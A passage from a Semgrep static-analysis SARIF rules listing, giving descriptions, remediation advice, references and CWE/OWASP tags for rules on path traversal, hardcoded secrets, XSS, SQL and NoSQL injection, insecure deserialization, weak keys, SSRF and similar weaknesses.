[https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","id":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","name":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"help":{"markdown":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","id":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","name":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","properties":{"precision":"very-high","tags":["CWE-259: Use of Hard-coded Password","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","id":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","name":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask","id":"python.flask.debug.debug-flask.active-debug-code-flask","name":"python.flask.debug.debug-flask.active-debug-code-flask","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask.active-debug-code-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use","id":"python.lang.security.dangerous-globals-use.dangerous-globals-use","name":"python.lang.security.dangerous-globals-use.dangerous-globals-use","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-globals-use.dangerous-globals-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"help":{"markdown":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions)\n - [https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole)\n - [https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice](https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups)\n","text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","id":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","name":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django","id":"python.django.db.pymongo-django.pymongo-django","name":"python.django.db.pymongo-django.pymongo-django","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.pymongo-django.pymongo-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","id":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","name":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format)\n - [https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format","id":"python.flask.security.injection.raw-html-concat.raw-html-format","name":"python.flask.security.injection.raw-html-concat.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.raw-html-concat.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","id":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","name":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","id":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","name":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint","id":"rust.rocket.sql.diesel-taint.diesel-taint","name":"rust.rocket.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url","id":"typescript.react.react-refs-url.react-refs-url","name":"typescript.react.react-refs-url.react-refs-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-refs-url.react-refs-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/dsa](https://www.pycryptodome.org/src/public_key/dsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"help":{"markdown":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug","id":"php.lang.security.search-active-debug.search-active-debug","name":"php.lang.security.search-active-debug.search-active-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-active-debug.search-active-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","id":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","name":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"help":{"markdown":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","id":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","name":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: 